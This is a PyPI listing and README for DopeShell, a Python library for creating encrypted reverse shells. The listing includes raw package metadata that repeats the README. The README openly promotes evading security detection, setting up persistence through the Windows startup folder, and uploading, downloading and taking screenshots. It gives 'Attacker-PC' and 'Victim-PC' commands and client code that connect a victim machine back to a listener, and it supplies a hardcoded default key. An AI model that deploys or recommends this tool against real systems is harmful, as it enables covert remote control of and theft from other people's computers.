DopeShell


NameDopeShell JSON
Version 2.0.1 PyPI version JSON
download
home_pagehttps://github.com/anonymous300502/DopeShellPyPi
SummaryA Python library for creating secure reverse shells with session management and encryption.
upload_time2024-08-29 15:40:27
maintainerNone
docs_urlNone
authorAbhishek Sharma, Manaswi Sharma
requires_python>=3.7
licenseNone
keywords
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # **DopeShell**
![Static Badge](https://img.shields.io/badge/Python-3.12.5-orange)
![Static Badge](https://img.shields.io/badge/License-MIT-white)
![Static Badge](https://img.shields.io/badge/PyPi-2.0.1-green)

## **Introduction**

**DopeShell** is a Python library designed to simplify the creation of secure reverse shells with advanced features like session management, encryption, multiple connections, and obfuscation techniques. This library provides an easy-to-use interface for setting up both the client and server sides of a reverse shell, with the ability to manage multiple sessions, simulate command-line prompts, and more.

## **Features**

- **Encrypted Communication**: Utilizes AES encryption to secure data transmitted between the client and server.
- **Session Management**: Handles multiple active sessions and allows the server operator to switch between them.
- **Command Prompt Simulation**: The reverse shell simulates the target's command-line interface, making it appear as if the commands are being executed locally.
- **Obfuscation Techniques**: Implements basic obfuscation to avoid detection by security systems.
- **Customizable**: Easily configure host, port, and encryption key via command-line arguments.
- **Persistence**: Easily set up persistence by saving a batch file in the startup folder to ensure reconnection on boot
- **Useful commands**: Provides useful commands like download, upload, screenshot to enhance interactivity of the shell

## **Directory Structure**

The project is organized as follows:
- **setup.py**: Contains the package configuration for installation.
- **README.md**: This documentation file.
- **LICENSE**: The project's license file.
- **dopeshell/**: The main package directory containing the server and client scripts.

## **Installation**

### **Prerequisites**

- **Python 3.7+**
- **pip** (Python package manager)

### **Installing DopeShell**

You can install `DopeShell` using `pip`:

```bash
pip install DopeShell
```

### **Building DopeShell**
If you want to build it yourself, you can use the following commands:
```
1. git clone https://www.github.com/anonymous300502/DopeShellPyPi
2. python setup.py sdist bdist_wheel
3. pip install dist/DopeShell-1.1.1-py3-none-any.whl (Replace the .whl file with the file in your dist directory)
```


## **Usage Instructions:**
#### **On the Attacker-PC, Run the following commands:**
```bash
dopeshell-server --host 192.168.1.11 --port 4444 --key "myverystrongpasswordo32bitlength"
```
*Note:*<br>
- Dopeshell uses "myverystrongpasswordo32bitlength" as the default key so you can skip the --key argument if you wish to use the default key, but we recommend using your own custom key which should be **32 bits** long.
- If you omit the --host and --port arguments, It uses '0.0.0.0' as the default IP address and '4444' as the default port.

#### **On the Victim-PC, Run the following commands:**
```bash
dopeshell-client --server-ip 192.168.1.11 --port 4444 --key "myverystrongpasswordo32bitlength"
```
*Note:*<br>
- The server ip and port arguments are **required** here, If a custom key was used in the server it should be mentioned using the --key argument. If a custom key is not used in the server side startup command, It will use the default key automatically.

### **Usage commands:**
- switch NUMBER [To switch between available sessions]
- exit [To exit the session] <br><br><br>
- persist [Set up persistence to enusre connection on reboot]<br><br><br>

*Image1- initializaiton*
![Runing server](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/running.png)
*Image2- Running commands*
![basic_usage_1](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/basic_usage_1.png)<br><br><br>
*Image3- Switching between sessions* <br>
![basic_usage_2](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/improved_exit_and_switch.png)<br><br><br>
*Image4- Setting up persistence* <br>
![presist](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/persistence.png)<br><br><br>
*Image5- In-Shell commands* <br>
![commands](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/commands.png)

### **Here are sample snippets if you wish to use the library in your own code:**
- test_server.py
```python
from DopeShell import DopeShellServer

key = b'myverystrongpasswordo32bitlength'

server = DopeShellServer('0.0.0.0', 4444, key)
server.run()
```
- test_client.py
```python
from DopeShell import DopeShellclient

key = b'myverystrongpasswordo32bitlength'

server = DopeShellclient('192.168.1.11', 4444, key)
server.run()

```

### **Contributing**
- Contributions are welcome! To contribute:
- Fork the repository.
- Create a new branch for your feature/bugfix.
- Write tests for your changes.
- Submit a pull request.
- Please ensure your code adheres to the project's coding standards.


### **License**
This project is licensed under the MIT License. See the LICENSE file for details.

### **Contributors:**<br>
[Manaswi Sharma](https://www.github.com/manaswii)

### **Contact Information**
For issues, questions, or suggestions, please contact:

Email: 170mailmea@gmail.com<br>
GitHub: https://github.com/anonymous300502

            

Raw data

            {
    "_id": null,
    "home_page": "https://github.com/anonymous300502/DopeShellPyPi",
    "name": "DopeShell",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.7",
    "maintainer_email": null,
    "keywords": null,
    "author": "Abhishek Sharma, Manaswi Sharma",
    "author_email": "170mailmea@gmail.com",
    "download_url": "https://files.pythonhosted.org/packages/51/05/13f7ea3fc9a6b707e53dcec8a9102934592a6c7a9e683122c5b3bfdab1b7/DopeShell-2.0.1.tar.gz",
    "platform": null,
    "description": "# **DopeShell**\r\n![Static Badge](https://img.shields.io/badge/Python-3.12.5-orange)\r\n![Static Badge](https://img.shields.io/badge/License-MIT-white)\r\n![Static Badge](https://img.shields.io/badge/PyPi-2.0.1-green)\r\n\r\n## **Introduction**\r\n\r\n**DopeShell** is a Python library designed to simplify the creation of secure reverse shells with advanced features like session management, encryption, multiple connections, and obfuscation techniques. This library provides an easy-to-use interface for setting up both the client and server sides of a reverse shell, with the ability to manage multiple sessions, simulate command-line prompts, and more.\r\n\r\n## **Features**\r\n\r\n- **Encrypted Communication**: Utilizes AES encryption to secure data transmitted between the client and server.\r\n- **Session Management**: Handles multiple active sessions and allows the server operator to switch between them.\r\n- **Command Prompt Simulation**: The reverse shell simulates the target's command-line interface, making it appear as if the commands are being executed locally.\r\n- **Obfuscation Techniques**: Implements basic obfuscation to avoid detection by security systems.\r\n- **Customizable**: Easily configure host, port, and encryption key via command-line arguments.\r\n- **Persistence**: Easily set up persistence by saving a batch file in the startup folder to ensure reconnection on boot\r\n- **Useful commands**: Provides useful commands like download, upload, screenshot to enhance interactivity of the shell\r\n\r\n## **Directory Structure**\r\n\r\nThe project is organized as follows:\r\n- **setup.py**: Contains the package configuration for installation.\r\n- **README.md**: This documentation file.\r\n- **LICENSE**: The project's license file.\r\n- **dopeshell/**: The main package directory containing the server and client scripts.\r\n\r\n## **Installation**\r\n\r\n### **Prerequisites**\r\n\r\n- **Python 3.7+**\r\n- **pip** (Python package manager)\r\n\r\n### **Installing DopeShell**\r\n\r\nYou can install `DopeShell` using `pip`:\r\n\r\n```bash\r\npip install DopeShell\r\n```\r\n\r\n### **Building DopeShell**\r\nIf you want to build it yourself, you can use the following commands:\r\n```\r\n1. git clone https://www.github.com/anonymous300502/DopeShellPyPi\r\n2. python setup.py sdist bdist_wheel\r\n3. pip install dist/DopeShell-1.1.1-py3-none-any.whl (Replace the .whl file with the file in your dist directory)\r\n```\r\n\r\n\r\n## **Usage Instructions:**\r\n#### **On the Attacker-PC, Run the following commands:**\r\n```bash\r\ndopeshell-server --host 192.168.1.11 --port 4444 --key \"myverystrongpasswordo32bitlength\"\r\n```\r\n*Note:*<br>\r\n- Dopeshell uses \"myverystrongpasswordo32bitlength\" as the default key so you can skip the --key argument if you wish to use the default key, but we recommend using your own custom key which should be **32 bits** long.\r\n- If you omit the --host and --port arguments, It uses '0.0.0.0' as the default IP address and '4444' as the default port.\r\n\r\n#### **On the Victim-PC, Run the following commands:**\r\n```bash\r\ndopeshell-client --server-ip 192.168.1.11 --port 4444 --key \"myverystrongpasswordo32bitlength\"\r\n```\r\n*Note:*<br>\r\n- The server ip and port arguments are **required** here, If a custom key was used in the server it should be mentioned using the --key argument. If a custom key is not used in the server side startup command, It will use the default key automatically.\r\n\r\n### **Usage commands:**\r\n- switch NUMBER [To switch between available sessions]\r\n- exit [To exit the session] <br><br><br>\r\n- persist [Set up persistence to enusre connection on reboot]<br><br><br>\r\n\r\n*Image1- initializaiton*\r\n![Runing server](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/running.png)\r\n*Image2- Running commands*\r\n![basic_usage_1](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/basic_usage_1.png)<br><br><br>\r\n*Image3- Switching between sessions* <br>\r\n![basic_usage_2](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/improved_exit_and_switch.png)<br><br><br>\r\n*Image4- Setting up persistence* <br>\r\n![presist](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/persistence.png)<br><br><br>\r\n*Image5- In-Shell commands* <br>\r\n![commands](https://raw.githubusercontent.com/manaswii/DopeShellPyPi/main/screenshots/commands.png)\r\n\r\n### **Here are sample snippets if you wish to use the library in your own code:**\r\n- test_server.py\r\n```python\r\nfrom DopeShell import DopeShellServer\r\n\r\nkey = b'myverystrongpasswordo32bitlength'\r\n\r\nserver = DopeShellServer('0.0.0.0', 4444, key)\r\nserver.run()\r\n```\r\n- test_client.py\r\n```python\r\nfrom DopeShell import DopeShellclient\r\n\r\nkey = b'myverystrongpasswordo32bitlength'\r\n\r\nserver = DopeShellclient('192.168.1.11', 4444, key)\r\nserver.run()\r\n\r\n```\r\n\r\n### **Contributing**\r\n- Contributions are welcome! To contribute:\r\n- Fork the repository.\r\n- Create a new branch for your feature/bugfix.\r\n- Write tests for your changes.\r\n- Submit a pull request.\r\n- Please ensure your code adheres to the project's coding standards.\r\n\r\n\r\n### **License**\r\nThis project is licensed under the MIT License. See the LICENSE file for details.\r\n\r\n### **Contributors:**<br>\r\n[Manaswi Sharma](https://www.github.com/manaswii)\r\n\r\n### **Contact Information**\r\nFor issues, questions, or suggestions, please contact:\r\n\r\nEmail: 170mailmea@gmail.com<br>\r\nGitHub: https://github.com/anonymous300502\r\n",
    "bugtrack_url": null,
    "license": null,
    "summary": "A Python library for creating secure reverse shells with session management and encryption.",
    "version": "2.0.1",
    "project_urls": {
        "Homepage": "https://github.com/anonymous300502/DopeShellPyPi"
    },
    "split_keywords": [],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "7f1dcc432a5348cd3cdc9572d7c4c8cfd2729e89eeec7c2d4ff444270c6643dc",
                "md5": "697442fbbccd3c049fab629626610a4b",
                "sha256": "14ed3deff533782f04a327fb7c1adc595baea74d841bc2db60fe68f70f024287"
            },
            "downloads": -1,
            "filename": "DopeShell-2.0.1-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "697442fbbccd3c049fab629626610a4b",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.7",
            "size": 11583,
            "upload_time": "2024-08-29T15:40:26",
            "upload_time_iso_8601": "2024-08-29T15:40:26.151982Z",
            "url": "https://files.pythonhosted.org/packages/7f/1d/cc432a5348cd3cdc9572d7c4c8cfd2729e89eeec7c2d4ff444270c6643dc/DopeShell-2.0.1-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "510513f7ea3fc9a6b707e53dcec8a9102934592a6c7a9e683122c5b3bfdab1b7",
                "md5": "46e5ff2d3a850ccab8ff21ef26581066",
                "sha256": "1eaa6375e49ab8e95f9446038b8aeaad9b0608d13a40c345f3078fe83dfe09ed"
            },
            "downloads": -1,
            "filename": "DopeShell-2.0.1.tar.gz",
            "has_sig": false,
            "md5_digest": "46e5ff2d3a850ccab8ff21ef26581066",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.7",
            "size": 10119,
            "upload_time": "2024-08-29T15:40:27",
            "upload_time_iso_8601": "2024-08-29T15:40:27.323221Z",
            "url": "https://files.pythonhosted.org/packages/51/05/13f7ea3fc9a6b707e53dcec8a9102934592a6c7a9e683122c5b3bfdab1b7/DopeShell-2.0.1.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2024-08-29 15:40:27",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "anonymous300502",
    "github_project": "DopeShellPyPi",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": false,
    "lcname": "dopeshell"
}
        
Elapsed time: 0.62895s